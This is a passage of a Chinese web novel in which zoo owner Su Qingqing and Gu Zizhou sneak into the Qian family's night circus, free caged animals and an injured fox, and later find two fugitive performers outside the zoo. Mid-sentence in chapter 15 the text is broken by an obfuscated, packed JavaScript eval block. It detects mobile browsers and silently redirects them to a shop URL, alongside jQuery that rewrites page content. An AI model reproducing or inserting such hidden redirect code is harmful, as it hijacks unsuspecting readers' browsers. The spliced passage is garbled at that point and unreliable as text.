“小姐您还记得我不?” 苏卿卿想起那日率先响应的身姿,点了点头:“当然记得,上次的事多谢。” “哪的话,你们这是要去定衣服吗,新进了一批货,我来带路吧。” 听到这话,苏卿卿突然想到这些人在布庄和成衣铺认识的人比较多,话锋一转,笑容灵动:“对呀,方便的话,还真需要你帮我们出出主意。” “好嘞!您随我来。” 墨松堂成衣铺外,淡绿色长袍横穿竹竿作为幌子随风飘来飘去。 铺内五颜六色的布匹在格子箱里叠放整齐,不同款式衣服挂在上下两层架子上。 量体裁衣,记录数据,挑选样衣。 顾子珘站在原地,除了视线随着苏卿卿走,身子是动也不动像个木头桩子。可这人的气场却一点也不呆,掌柜的拿起一身衣服都不敢直接比划,得到眼神许可… …也还是不敢! 最后还是苏卿卿无奈一拍脑门,上前接过衣服,直接上手摆弄,再站远站近托着下巴查看效果。 片刻后,顾子珘弯腰从帘后出来,身上穿着一件淡青色圆领长袍,下摆貌似渐变色中最浓重的部分,腰带是深墨色的,两条长带自然垂落,整个人像是立足于山水之间,拿上一把扇子就是为肆意诗人。 苏卿卿顿了片刻,才忽然反应过来自己要给点反应:“挺、挺不错的嘛!要不要再换其他款式试……” 【钱氏马戏团每晚开办通宵戏班,日渐火热,动物们也是痛苦不堪,任务救出被利用的狐狸(其他的动物请宿主依照能力自愿解救)】——任务奖励八百点商城金币。 苏卿卿差不多已经习惯这系统没眼力见的性质了,等到耳鸣褪去,话音登时一转:“试试就还是算了……额……据说有个马戏团挺受欢迎的,走,咱凑个热闹去。” 说完她不等对面的人发出疑问,先是指着墙上的浅绯色罗裙,与另一件男款粉布金丝袍。 “那两件我们买了,直接穿着走,”苏卿卿说完在柜台站了片刻,随后将毛笔放下,递出纸条,“麻烦了,其余的寄到动物园。” 顾子珘呆愣在原地,眨巴眨巴眼。 15. 里应外合 “卿卿,想什么呢。” 戏班的狐狸,会是怎样被利用的?不是都说这动物本质很狡猾的吗,就连文学作品中也是以此为意象指代有心机之人,果然万事不可一概而论。 “卿卿?” 不过那钱氏马戏团是妥妥对家,借这个机会混进去一探究竟也有好处,毕竟上次市场调研努力游说无果,最终还是被门口那两个不懂变通的壮汉赶了出来,今日瞅着的确换了值班的人,实在是太幸运了!不过在这地方搞事情估计逃跑时会比在织行更加困难。 “卿卿啊……” 哎,但就像系统说的那样,虽然此次任务主要目标是狐狸,但还有许多其他动物处于需要解救的状态,需要先查清楚钱氏利用的手段是什么,再想办法混进后台。 顾子珘摇头轻叹,没再继续,思绪繁多的有一人足够了,他索性什么都不想托着脸安静端详着。 街灯点起,繁华热闹的街巷流光溢彩,显现与白日截然不同的氛围,散发金色光辉的三排竹编灯笼被风吹的前后晃动仍不熄灭,好似带着''不夜城''的气魄。 直到店小二端来两碗笋辣面,瓷碗底部碰撞桌面,才让这两个神游的人同时回过神来。 偌大的县城不乏外观精巧的建筑,就拿此刻歇脚的酒楼来讲,少说也是七八十年的老店,菜品色香味俱全,分为楼上楼下两层雕梁画栋,用心翻修屹立不倒。除此之外也有类似高家那种表面朴实内里雅致的府邸,讲究的是低调不外现。 但钱氏戏院立足于这两类之外,它没有历史积淀,认为欲不速则不达,起步的选址就大胆定在人流量最高、生意最旺盛的市集三岔路口,往东看是门庭若市的胭脂水粉铺,往西看是惊叹声四起的古玩店,再往前走是处接待外来游客的三层客栈,眼下二层栅栏内不少人边聊天边赏夜景。 即便如此,回过头再看眼前的钱氏戏院依旧惊喜程度不减,上方斗拱交错,长夜之眼层叠点缀恍若天宫,下方石柱上的立体流云浑然天成,整体豪华壮丽,堪称此地标志性建筑。 往来运送货物的车队路过时都会驻足仰头欣赏片刻,夜风拂过,天色暗了一度又一度。 下午苏卿卿带着顾子珘从成衣铺径直来到这,结果得知戏班演出只在晚间,准备阶段所有客人不分贵贱一律禁止入内。 得,也是如出一辙的饥饿营销法。 于是两个人沿街闲逛了两圈,别无发现,直至傍晚来临,才在距离最近的酒楼落脚等待。 吱呀声音传出,两名看守将吊在门旁木质架子上的【钱氏马戏团】的牌子前后翻转变为【钱氏夜戏班】。 很明显,这地方对赚钱的执念可比此刻还挂着【隔日营业】牌子的苏氏动物园要深得多得多。 此举效果比喇叭还明显,聚集在这三角空地的人越来越多,看样子估计都是熟悉流程的老顾客了。 苏卿卿视线左右流窜,放下筷子想提前到人群里去探探信息,刚要起身就被顾子珘伸手拦住了。 “别急,你看。” 后者朝不远处使了个眼神,她重新坐回座位上顺势朝那方向望去。 人群后面不远处停着一辆中规中矩的马车,其上下来位表情疑惑的男子,光顾着看远处踩空了台阶差点摔着,他抬头推了推鼻梁上的圆眼镜强行镇定,模样像是夜市开放后第一次出来见到这热闹景象的人。 那男子上前两步,拍了拍背对自己正侃侃而谈的人问道:“兄台,你们刚刚说的可是今夜有好戏看?” “诶,你不知这钱氏戏班的拿手好戏''狐妖断尾''吗?”那人回头问。 男子摇摇头。 对面的人也是个自来熟,晃动手中折扇,一副无事不知的派头开始介绍。 “这钱氏的赚钱能力虽不比那占据各个领域的高氏,可人家的马戏团是真从一无所有搞出了大名堂。最初只是白日露天场地各城移位演出,被誉为有史以来最刺激的动物杂技,后来据说赚了不少在此处定址建楼。” “既如此为何不在京城?” “害,人家自有打算呗,我估计过不了多久肯定要去京城开分店。这都是后话,我刚说到哪了?” “白日动物杂技。” “嗯,然后自从开放夜市,钱氏便又延展出开夜戏班的点子,虽然贵但精彩得不行,赚钱如流水,这么些年几乎没有休息过。” 苏卿卿听得直按揉太阳穴,表情扭曲甚至想拍案而起,心说这种经营模式听着就累,此人有赚钱的野心也有头脑,佩服归佩服,不过压榨伤害动物,是全然无法容忍。 “你也是想看这出戏吧。”顾子珘微表情分析一向在线,只是还不清楚苏卿卿情绪紧迫的原因。 苏卿卿点点头,含糊道:“看看呗,来都来了。” 时间到,大门打开,人群涌入。 苏卿卿付完饭钱忽然听见一声鸟鸣,抬头一看原来是自家白鸽,脚边被柔软的触感蹭来蹭去,再低头一看原来是自家黑猫。 想想也是,自己家里这群动物中也就这两个不仅行动敏捷还不易被察觉,就算被发现了也不至于引起骚动。 顾子珘看得饶有兴趣,觉得眼前的画面一定比马戏团的更精彩。 苏卿卿抱起黑猫用脸颊蹭了蹭:“跑这么远也不嫌累。” “这算什么,大惊小怪。”黑猫耳朵耸动,嗷呜两声继续说,“不过有件事需要你帮我。” 苏卿卿一歪头,小声问:“什么呀?” “这戏班为了排新剧目抓了一只猫,”黑猫说完仰头,透澈晶莹得瞳孔中反映出苏卿卿的脸,“帮我把它救出来。” 巧了这不是。 苏卿卿瞟了一眼顾子珘,后者正被突然停在自己面前的鸽子搞得不知所措,尴尬笑着。 她觉得现在不适合说太多话,旁人看上去难免觉得自己精神状态堪忧,便转过身去压低声音快速说明情况,最后状似自言自语:“要是多几个帮手就好了,估计还有不少其他动物。” 黑猫仰头叫了一声,尾巴朝右前方挥动,苏卿卿顺着方向看去,柱子后面冒出一溜毛茸茸的脑袋,动作一致目露凶光,咧嘴显出米白色的尖牙。 “……” 黑哥!干得漂亮! “如果把动物都关在同一个地方风险太大,所以大概率是分开的,你们溜进去后探探地形,注意安全。” 说完,苏卿卿直起身子拍了拍手恢复正常音量,“好了,赶紧回去吧,我和顾大师要进去看戏了。” 鸽子展翅飞走,顾子珘也在懵懂中被拉拽着步入钱氏华丽的建筑,还好他们两人穿着鲜亮颜色的服装,与此地氛围适配并没有引起怀疑。 乐声奏起,三五成群的人们说笑声嘈杂不止愈演愈烈,这大场面苏卿卿在电视剧中总是看到也就不足为奇,与公司酒局相比更是微不足道。 反之,身处灯光绚丽中,周围的一切对顾子珘来说都是陌生的。 不是,也不是完全陌生。 貌似小时候有来过这种地方,不过记忆多少有些模糊了,顾子珘想着,翻肠倒胃,只感觉胸口发闷透不过气来,高高的房顶以及每个角落金色与红色的灯火都在视野内不断旋转后撞。 “原来里面是这样的,上次都没让我进来。”苏卿卿笑着回头一愣,皱起眉头,迅速拽着人的袖口向外走,“咱们回去吧,这里面确实有些吵,让人头晕。” “无妨,”顾子珘擦了擦额头的汗,牵起苏卿卿的手轻轻拽住,“我们去二层包厢。” - 回形楼梯上人群摩肩接踵,小二端着托盘匆匆走过,留下四溢的酒香。 好在除了提前预定出去的包厢还有几个空余的,经过一番交涉,他们如愿进入舞台左上方八号房,屏风之后空间宽敞,站在栏杆内侧向下可直接看到整个台子,一左一右均有人以相同姿势垂头观赏,大多都是为了探究狐妖戏码是如何展开的。 台子上摆放几株鲜活的海棠花,白色薄雾渐渐浮现,浓妆艳抹的女子接连登场拉开序幕,吹拉弹唱炒热气氛,人们兴致高涨,推杯换盏,觥筹交错。 期待到达顶峰得时候半空悬下高低不同的三五把绣着金色狐狸的红色油纸伞,系在伞柄端的红色绸布从八个方向抽离开,纸伞顺势旋转开来,同时飘落下无数小块彩色丝绸布,天女散花式泛出奇异花香。 苏卿卿伸手抓住一条蓝色的,展开后上面用娟秀字体写着【遗憾未中奖】五个字,顾子珘脚边的也是同样,他便没费力气直接将其无视。 苏卿卿:…… 楼下的人们也纷纷回过味来开始左右寻找那位中奖的幸运顾客,遗憾的叹气声此起彼伏。 突然大量飞鸟从顶层涌现,向下俯冲,惹得旗子花灯绸布纷纷飘动,它们在半空收力盘旋,形成五彩斑斓的旋风,虽然中途很明显被苏家白鸽拐走了一只,苏卿卿也只是强忍住没有拍掌称绝。 几乎同时对面走廊一道黑影迅捷掠过,不多时便出现在他们的包厢,黑猫窜到顾子珘怀里喵喵叫,让一向备受高傲猫咪冷落的人受宠若惊。 苏卿卿转身看着,她知道这猫脑子好使,知道隔空对话不会太引起怀疑。 “这里地上与普通酒楼无异,后台也不见任何动物的身影,不过有个地方存疑,台子上的人类都是从那里直通舞台,地下的情况暂时未知,鸽子飞进不去,我也找不准时机。”黑猫边说边鼓捣顾子珘的衣领。 “诶诶,这衣服可贵,小心着点。”苏卿卿说完,抱臂倚靠在柱子旁思考。 也就是说这里肯定存在联通舞台、后台以及看管动物的地下区域。 正想着,下面人群爆发阵阵欢呼声,一个戴着圆眼镜的男子扬起手,手中拿着金色纸条,站在高处看不清具体文字,却也能从其周围人们的表现推断出这男子中了头奖。 台子上灵动欢快的乐声响起,飞鸟群由盘状变幻为锥体,最下面一只通体橘色的鸟叼起男子手中的布条将中奖者引至舞台中央。 苏卿卿手指一下一下点动围栏,真的是幸运眷顾新手期玩家吗,这精彩的戏码她看得并不轻松。 一曲结束,所有烛火瞬间尽数熄灭,视野陷入完全的黑暗,视觉消失后听觉会变得异常敏锐,起初还有几个人明显的说话声,后来慢慢的彻底安静下来。 铮的一声,舞台亮起两扇花灯墙照亮那方寸之地,男子凭空消失,再出现的是位黑衣女子背影,随后烟雾掠过,她衣装变为橘红长裙,裙摆处渐变至棕黑色宛若狐狸的尾巴。 哀怨的琴音渐涨,女子随之翩然起舞,空气中弥散冷调花香勾起人们怜惜的情感。 很快,底部的烟雾漫过她的全身,裙尾扬起,丝绸簌簌垂落的下一秒一只狐狸轻盈跃出,踩着鼓点的节拍,腾空向上攀爬,越来越高,生机勃勃充满希望的时候,突然从半空下坠。 音乐戛然而止。 消失的女子再度出现,她抬腕低眉,虽被纱布遮住了大部分,还是能感觉到不俗的气质,乐声恢复,节奏加快,她慢移,躲闪,潜入烟雾,狐狸与女子交错出现,一来一回中狐狸的尾巴越来越短,女子的裙摆却越来越长。 人们惊呼神乎其技,这变幻速度之快,即使是提前做好心理准备占据视野高位的苏卿卿都没有看出丝毫破绽。 顾子珘怀中的猫已经溜走,他无所事事也并不觉得这出戏哪里好看,渐渐开始走神,用台上一出戏的时间在心里算明白了苏卿卿突然改变原定计划的目的。 无外乎是那只受伤的狐狸。 苏卿卿正绞尽脑汁思索如何才能神不知鬼不觉混入后台的时候,感觉自己的肩膀被人轻戳两下,她回头看到房门半开,顾子珘这人不知是什么时候出去了一趟又回来了。 “怎么了?” “跟我来。” 走廊里的人不像刚开始那么多,估计此刻都在专注欣赏表演,只有一位身宽体胖,满面油光的男子攥着拳惴惴不安。 “苏、苏老板,好久不见。” 苏卿卿面色发冷,点头应道:“钱老板。” 这人叫钱司,总之会让苏卿卿想起不太美好的回忆,所以跟他说话比较辛苦,得忍住私人情绪。更别说如今得知他背地里伤害动物的行径,没直接揪他衣领都算脾气好。 钱司眼珠子左右转动,瞟向站在旁边把自己招呼过来又沉默不语的顾子珘,刚刚拐角处灯光昏暗看不真切,现在看清五官后觉得十分眼熟。 “你是,你是?” “钱老板之前移位演出,见过不少人,”顾子珘微微一笑,打断道,“记混了也情有可原。” 这到底是在做什么?苏卿卿的思维一时间拐不过来弯,站在原地独自感受时间静止,直到顾子珘将老板拉走私聊,又拿着牌子回来说可以去后台了,她才干瞪着眼缓过来这口气。 人才啊,这一套动作既高效率又貌似没费吹灰之力。 走在半路,苏卿卿实在忍不住问道:“你怎么知道我想去后台?怎么说服他的?” 顾子珘认真想了想:“第一个问题是你太明显,第二个……先用一件不可能的事情麻烦对方,被拒绝之后的次等请求大概率会被同意。” 狭窄的过道有人路过,他侧身护着苏卿卿,随后继续道,“我先说要买下那只狐狸,他不肯,然后我说咱们动物园想去后台吸取经验顺便欣赏欣赏,他就同意了。” “……”苏卿卿听后词穷,愣愣竖起大拇指。 这家伙,让人看不透啊。 后台是一个椭圆形场地,中央有各式服装饰品以及堆砌的道具,周围一圈分出不少格子间供表演者使用,现在夜班阶段人不多,毕竟钱氏主要重心还是放在白天的表演上。 左侧的格子传出窸窸窣窣的动静,正好无从查起的苏卿卿和顾子珘交换了个眼神,抬脚靠近。 门半掩着没有反锁,这种情况下苏卿卿也来不及讲究敲门礼仪,直接推门而入! ……场面有点尴尬。 一位披着黑色斗篷的女子正左手紧攥绸缎,一条腿已经跨出到窗外,很明显他们这是撞破了人家的逃跑计划啊。 那女子显然也被吓了一跳,下意识转身,露出斗篷里眼熟的红裙,正是刚刚表演''狐妖断尾''的人。 她似笑非笑指着外面,解释道:“我就是坐在这里看看夜景,你们是新来的吗怎么……” 不料窗外适时传来男子小声且焦急的气音:“梁姑娘,快下来啊,要来不及了!” 女子:…… 苏卿卿:…… 顾子珘:…… 梁姑娘一咬牙,直接死马当活马医抛出把铜色钥匙,语速飞快不容辩驳道:“两位大善人,事出有因,一会儿的剑舞替我一下,回头我、我跟你换班!” 留下这句话,她纵身一跃,黑色斗篷下的''狐狸的尾巴''彻底消失在视野之内。 换班? 我看你是再也不会回来了吧! 苏卿卿迅速跑到窗前,探出头,朦胧夜色下,灯火人群间看到那两个逃走的背影正匆匆爬上马车,旁边神色焦急的正是那眼熟的戴眼镜男子。 头痛。 苏卿卿抚上自己的额头,感觉机械能都转化为内能了,深呼吸冷静片刻随后赶紧晃了晃脑袋,心想她可没工夫脑补这一对儿佳人的剧情,今夜必然要搞一场大事,这梁姑娘趁早脱身也是好事。 而且,她摊开手低头看了看钥匙,这姑娘还给她留下了通关道具嘛。 “怎么打算的?”顾子珘走过来问,窗外的马车已经跑得不见踪迹。 “前台后台都要顾及,二者之间有机关相互牵动,”苏卿卿一脸愁容,“怎么办,人手不够。” “还有我呢,”顾子珘神情单纯,甚至带着几分温和的笑意,“需要怎么做呢?” “额……” 苏卿卿浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091487|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身难受,心想让一个内向喜静的人到台子上面去哗众取宠,这种丧心病狂的事情她是绝对不会做的!! - “美人呢?” “今日中场休息的时间确实长了些。” “刚不是说了稍后加场吗,怎么一点动静都没有。” “说不准又有什么新招。” 人群七嘴八舌,蠢蠢欲动。 苏卿卿从暗道爬出,站在台子上屏风后面的时候才开始后悔。 救命啊!光想着不能让顾子珘上来,但一时间忘了自己其实也是个I人啊,这简直是社会性死亡大礼包! 下面的顾客好像也发现了不对劲。 “诶,换人了?” “不知道啊,是不是又出了新剧目。” “谁都行能不能赶紧开始啊,我酒都要喝完了。” …… 铃铛清脆一响,是顾子珘已经到达地下训练场的暗号,也代表现在她必须要想出个节目来稳住观众,毕竟观众在,老板的后续动作才会有所收敛。 正进退两难时,她突然瞄到钱司怀里裹着个什么东西,在廊中鬼鬼祟祟沿着边向侧门走,那人本不经意看了眼台子上的情况,没成想直接跟苏卿卿四目相对,惊得他满眼不可置信。 太可疑了,苏卿卿反应极快跑到铃铛旁边向下拉拽,两条红绸从天而降,可惜她并不会玩飞天小女警那一套,索性单手拽着一头,飞似的跑下台子。 钱司嘴角肌肉抽动两下,忙转身逃走,奈何本就身材笨重,精神受到冲击后更是慌不择路,转身左脚绊右脚,摔了个狗啃地。 不浪费时间,苏卿卿将带子绑了个圈拴在钱老板的小腿上使其跑不出这长廊。 观众席上的人还以为都是表演内容,没觉出不对劲来,甚至还有两三个摇旗呐喊加油助威的。 “狐狸呢?”苏卿卿见那掉到地上的刚刚藏于此人怀中的物品是一串钥匙,反过头质问。 “狐狸……刚刚表演完毕,后台歇着呢。” 苏卿卿猛然靠近,在这姓钱的耳边小声威胁:“要我当着大家的面拆穿你吗?”语毕,见这人还是嘴硬,叹口气继续道,“你不觉得我身边好像少了个人?” 钱司愣住,脑海里出现那眼眸深沉,浑身凉薄寒意的男子,脖子一紧,爬起来又要跑,苏卿卿一手攥紧对方手腕,另一只取走那串被甩飞的钥匙,金属碰撞叮咣作响。 顾子珘抹了一下脸颊的伤口,偏过头看向落在地面上的银箭和铁锈笼中窝成一团瑟瑟发抖的动物们,原本鲜亮的皮毛在昏暗火光下更显得狼狈不堪,布满血腥气息。 幸好没让她过来,他想。 “怎、怎么会有人进来?”守卫慌了,看上去也是一头雾水。今天早早结束了马戏杂技,地下训练场安静无比,他们还以为会是最轻松的一天,没想到最后来了个麻烦。 顾子珘的故弄玄虚只在有意思的时候使用,眼下这种实属速战速决的范畴,不过简单几句道明来意后对方也并没有要和平处理的打算。 “想必还是要打一架了。”他漫不经心道。 对面两个腰间武器完备的人察觉此人后方不见帮手,胆子大了起来,表情感觉听到了最好笑的笑话,前仰后合地持怀疑态度:“打架?就你?” “快滚开,小心跟这些玩意儿落得同样下场。” 耳旁风吹过,拐角处铃铛响了。 顾子珘走到齿轮旁伸出手,手心朝上。 叮叮咣咣的响声由远及近,下一秒,一串金色钥匙稳准狠跌落在手中。 他掂了两下随后攥紧拳头,扫了一眼斜后方的两人:“怎么快怎么来吧。” “你!”一个守卫拦住,彼此交换眼神后前者将手放在腰间剑柄上,打嘴架暂且搁置,眼下的氛围一触即发。 对面利刃出鞘,分别从左右两个方向飞速移步至顾子珘身旁,一人伸手欲要抢夺那串钥匙,另一人紧握短刀横切向他的腕骨。 顾子珘悠悠然身子一晃,很快调整好姿势就着被攥住的力道,腾空倒翻到两人身后。 守卫的短刀划破空气,猛攻向对方颈部,他看准时机,左手夺刀往反方向一掰,前者反应很快地松手躲开但也重心不稳向后趔趄了一下,再抬眼时,正对的人早已接住刀刃并近在咫尺! 疾风冲向耳后,苏卿卿侧身躲开钱司的手掌,大喊:“小黑!拽左数第三根绳!” “喵~” 黑猫有求必应的态度和灵巧的身姿,引得台下观众阵阵惊呼,有个别人出来的老熟人还随即科普了两句这能与动物对话的神奇少女,只不过添油加醋后的故事走向已经偏向仙侠画风了。 黑爪子拉下绳子,台子地面一处正方形出口向左右打开,此时顾子珘刚好直起身将关住动物的铁笼一一打开,即使是狮子等大型动物,呈现出的精神状态都毫无攻击性。 刚结束演出疲惫不堪的狐狸眯着眼睛蜷成一团,短了一截的尾巴压在后爪下,本该蓬松的毛发打着绺。 顾子珘温柔将其抱起,直起身后他犹豫了一下,还是将门锁齿轮拨歪。 笼子牵引绳结,麻绳跨过横梁,长长的一端勾起红绸,牵一发而动全身,台面上的钱老板在头晕目眩间已经被绸带五花大绑成毛毛虫。 苏卿卿拍了拍手一叉腰,敲响铃铛示意好戏的台上部分已经落幕,黑猫与白鸽收到信号纷纷拖家带口进入地下兵分几路展开讲解工作。 顾子珘单手安抚颤抖的狐狸,余光见那两名守卫一瘸一拐从暗门溜走,轻咳两声,随之一道人影意会后迅速追了过去。 “顾大师——” 顾子珘闻此言站在梯子下仰头与苏卿卿对视,比了个手势,后者这才松下一口气。等他踩上两级踏步板后没了力气,微笑着伸手,苏卿卿马上将人拉到台面上。 脸上的划痕像是被充足的光线刺痛,顾子珘倒吸一口气,成功将苏卿卿的注意力从狐狸转移到自己身上。 “受伤了?我看看。” “小伤。” “这可是脸啊,赶紧给我好好敷药去!” “好。” 楼内所有灯光全部恢复,原是想要为观众营造出大梦初醒的感觉,结果人们注意力全都集中在台上气质绝俗的一男一女上。 “那人是谁?”观众里一名女子问。 旁边的观众搓了搓胡子:“别想了,明显已经名花有主。” “另一个呢?”一名男子又问。 “别想了,明显已经名草有主。” “……” 杂念被除得干干净净,观众席中不知是谁开了个头,随之掌声不断,欢呼喝彩此起彼伏。 顾子珘一边抱着狐狸一边带着蠕动的钱司先行退场,苏卿卿最后收尾还不忘给自己的动物园打个广告。 本来还有点不好意思,但一想这要是放在网络急速发展的时代,刚刚的内容之前怎么也得有个十个八个上百秒不可跳过的广告,脸皮瞬间厚了起来。 钱司的人品与极端的驯养都十分可恶,但这庞大的生意不可能眨眼间被击溃。 苏卿卿体力清零,后来实力悬殊的对峙全是由顾子珘一人完成。 钱司为了自家生意答应了全部条件,马戏团大批动物在钱氏休养,不能让有伤病的动物进行动物表演,并且黑猫将其余猫小弟留下关注钱司动态,苏卿卿将断尾的狐狸带回园中亲自疗伤。 外面已经是深夜,万物静默,天气微凉,灯笼中的烛火点点跳动,店铺打烊融于黑暗。 “哈哈哈哈——” “顾大师。” “想坐在观众席再看一遍,你怎么想出这里应外合的招数的。” “顾……” “哈哈哈哈哈——” “喂,顾子珘,别笑啦!” “哈哈哈好,好,不笑了,咳咳哈哈哈哈——” “……” 16. 蝴蝶 - 【叮!恭喜宿主完成任务,经核算奖励已发放,请查收!】 “老规矩,一半换银子,一半换饲料。” 苏卿卿闭着眼在榻上瘫成一个“大”字,嘴里嘟嘟囔囔像是在说梦话。 昨夜回来的时候,下半身像灌了铅抬都抬不起来,上半身却如同四方无着力点的薄纱飘来飘去,只觉得整个人的脑力与体力双核系统集体瘫痪。 她没时间复盘在钱氏戏班发生的所有,也是被愧疚心理扰得不得安宁后强打精神为今日开园列出一整张纸的改善计划。眼前视域愈发模糊,苏卿卿醉酒般龙飞凤舞挥洒完毕,倦意极速涨潮,身体后仰一下子倒头睡去。 现在再回过头来看那桌上皱皱巴巴的纸面,也认不出几个整字了。 闷雷滚过,窗内纸面光晕迅速暗下来,窗外小雨淅淅沥沥,雨珠顺着屋檐缝隙滴落到地上,有节奏的嗒嗒响动构成白噪音于昏暗的环境下极为催眠。 啪!—— 忽然远处几道抽鞭声接连响起,扰乱了催眠曲的节奏,木质车轮蘸着水洼滚过泥泞小路,留下两条不浅的车辙。 马车慌张失神间也顾不上遁迹匿影,翻来滚去急匆匆歪到了苏氏动物园背面。 这匹马似有灵性,知晓当下万不可大声嘶鸣引来灾祸,马尾不安甩动,它垂着脑袋吭出两声低频的呼吸噪声。 一时间成功受到园内小马交通“在职员工”的注意,同类之间的默契在此时显得尤为重要,一众马匹如风般卷过去,奔腾过程中吵醒园子里的绝大部分“住户”。 不多时,等到苏卿卿边嘴里嘀咕着“蝴蝶”二字边恢复知觉,也许是被系统影响,这蝴蝶竟然追着给自己讲故事,脚下越跑越快,猛的睁大眼睛惊醒时,外面早已经闹腾得不可开交。 她翻了个身,将被子当成抱枕夹在身前,手不经意碰到那只卧在枕边的狐狸,顺势柔和地呼噜了一把。她嘴里咂巴咂巴回味刚刚梦中的花园美食城与火锅大排档。 结果吵闹声依旧不绝于耳,她又愤恨将罪魁祸首猜了一通,心想一定又是那几只精力充沛的家伙们嗑牙聊八卦。 苏卿卿眼皮发黏,尽力睁开又无力合上,本不以为然想要再赖会儿床,结果下一秒就听到了叮叮咣咣的猛烈撞击声,随之又是阵阵拆家一般的架子垮塌声,她心里暗骂,蹭地坐起,攥起拳头阴着脸。 连黑猫都知道有起床气的人类惹不得!这些家伙真是太过分了! 昨日新买的那身浅绯色裙子正好摆在衣柜最上层,她无心精挑细选,便随手拿起,利索换上,三两步走到门前,推开后抬头撞上立在廊中赏雨的顾子珘。 这人单手背后,身姿挺拔,墨发柔软,长睫毛下的一双美眸望向远处的天边,与生俱来的气质带动周围氛围都是沉稳的,安静又疏离,好像院墙外面的嘈杂在他的世界里压根不存在一样。 而且更显眼的是,他并没有换上新买的淡青色长袍,还穿着一身粉嫩颜色,两个人同框与昨日的差别只在苏卿卿的一点疲惫之态上。 “早上好啊。”顾子珘转过身,嘴角弯起浅浅的弧度。 苏卿卿打了个哈欠,左手揉了揉惺忪睡眼:“早上好……大师你也是被吵醒的吗?” 顾子珘刚想说话,突然回忆了什么,摇头的动作卡在一半顿住。 他想到昨夜自己确实被心跳吵得翻来覆去睡不着,便认命地点头“嗯”了一声,单字尾音甚至还带着几分小委屈。 “去看过没,”苏卿卿揣着手靠近两步,“外面什么情况?” “没去看。” “为什么?” 顾子珘平静吐出两个字:“害怕。” “……”个鬼啊!昨天独自去地下以一当二眼都不眨一下的也不知道是哪位仁兄! 安静片刻,墙外又突然传来音量拔高一度的惊呼撕裂空气。 “老老老老虎!老虎啊!” 这下子终于听清了,苏卿卿眼皮一跳,刚刚还只是怀疑,现在可以确定自己没听错,那声音不是动物而是人的,并且出于不明原因甚至有些似曾相识的感觉。 时间不多,她双手合十,急忙寻求顾子珘的帮助。 “一起去吧,不然要耽误开园了。” 雨丝斜斜飘着,空气中充斥着泥土清香与潮湿水汽,青石板上更是光滑无比,苏卿卿和顾子珘打着一把散发竹木味道的淡绿色油纸伞,相互搀扶着以防摔倒。 奇怪的是,那吵闹的源头并不在动物园正门外,而是在卿卿独院左侧树林里的一个未开放小门背后。那里距离苏卿卿的屋子也只有外围一墙之隔,难怪刚刚被动听了个全程。 这是一片轮廓不规则的瘦高树林,抬头看去,已经有不少外部麻雀在这里安心筑了巢。微显绿意的枝干杂乱交错,除此之外没有过多装饰,简单的绿植装饰区本是清净之地。 可现在倒好,天上飞的地上跑的几乎齐聚。 “怎么回事?”苏卿卿眼神困惑,担心道。 现下雨水阵势不大却也是冷的,淋在动物们的身上会降低抵抗力,长时间潮湿还会引发皮肤病和精神不振等不良状态……不能再想了,得赶紧让大家回去避雨烘干。 蹲在外围树杈上的黄毛猴子听见声音,它捂着鼻子同时眼珠一转低头看向苏卿卿,咯咯笑道:“园长放心,老虎已经将那两个可疑人类吓晕过去了。” “我没想吓唬,”老虎委屈扭头,低眉耷眼,“我、我只是表示友好,问他们是否需要帮助。” “你最友好的做法就是对初次见面的人类,啊不对,还有初次见面的动物们都保持距离,就算你再可爱也挡不住群体性物种偏见的存在。” “嗷呜……” “等等,有人晕过去了?”苏卿卿太阳穴生疼,闻此言马上打断大家七嘴八舌的话茬,快步上前,顾子珘伸长胳膊独自撑伞紧随其后。 酸痛的肩膀挤过一群湿漉且高大的屏障,定睛一看,小门外果然晕着两个衣着古怪之人! 黑衣黑帽黑面纱,粗略一看还以为是之前追杀过他们的那伙人,只是身形不如那般强壮厚实。 等她再回过头,原地愣了一会儿,想说的话瞬间一句都想不起来了,眼前的画面就算全是日日相处已经熟悉的存在,如此迎面撞进眼底还是会心中一抖。 不怪这俩人反应过激,如此多乌黑溜圆的动物视线确实令人恐惧。 云层上隆隆作响,眼看雨快要下大了,苏卿卿连忙弯腰将人扶起来:“行了行了,警报解除,快回去避雨,都给你们安置了篷子,一会儿开园与否视情况而定,如果有游客来的话,大家只在篷下就好。” “好嘞!”—— “对了,老虎。”苏卿卿叫住它。 “嗷?”老虎转头,害怕自己要被训话。 “小黑呢,怎么不见它,昨夜没回来吗?” “回来了,团成了一个球睡着呢。” “嗯,那便好,”苏卿卿一笑,“别吵它了,今天猫猫茶肆,茶肆正常,猫猫休息。” “嗷!” 小蛇盘在狗头上,猴子骑在马背上,动物们互相搭顺风车很快走远,各回各窝。 顾子珘不说话,抬手将伞递给苏卿卿,随后又把地上躺着的另一位晕厥人士的右臂抗在自己肩上,这通忙乱反倒让他彻底明白了眼下的情况,无奈舒出一口气,再看看前面还在努力的人不禁抿嘴笑了一下,好奇她什么时候会察觉出来。 背上的人总是往下滑动,再一再二还再三,苏卿卿有些急躁,想赶紧将其稳住,结果一不小心把那偌大宽肥的黑帽掀开,对方浓密柔润的长发散落。 她回头一看,愣住了。 她又回过头来,呆呆与早就盯着自己的顾子珘对视片刻。 啊这…… 世界真是个圈。 怎么是他们俩?! - 凉意吹过,周遭草木随风摇曳。 一路疾走回屋内,肩上迷糊的二位也恢复了神志,他们面容憔悴,衣服头发全都狼狈不堪,胸口不断起伏还是心有余悸,左右看了两圈不见老虎的影子,松口气后端起水吨吨三五口才彻底恢复过来。 苏卿卿坐在侧面的椅子上,揉了揉因困发酸的太阳穴问道:“你们究竟是什么人,昨个不还一副要逃离戏班远走高飞的架势,难不成飞半路飞累了,随机找个动物园歇歇?” 对面男子鼻梁上的眼镜碎裂了一半,衣服的整洁程度与昨日相比堪称两极反转。他干巴巴笑了两声,随后拱手自我介绍:“二位好,小生林书。” 原青白外衣,眉目英挺,确有书卷之气。 “小女、小女梁馨儿。” 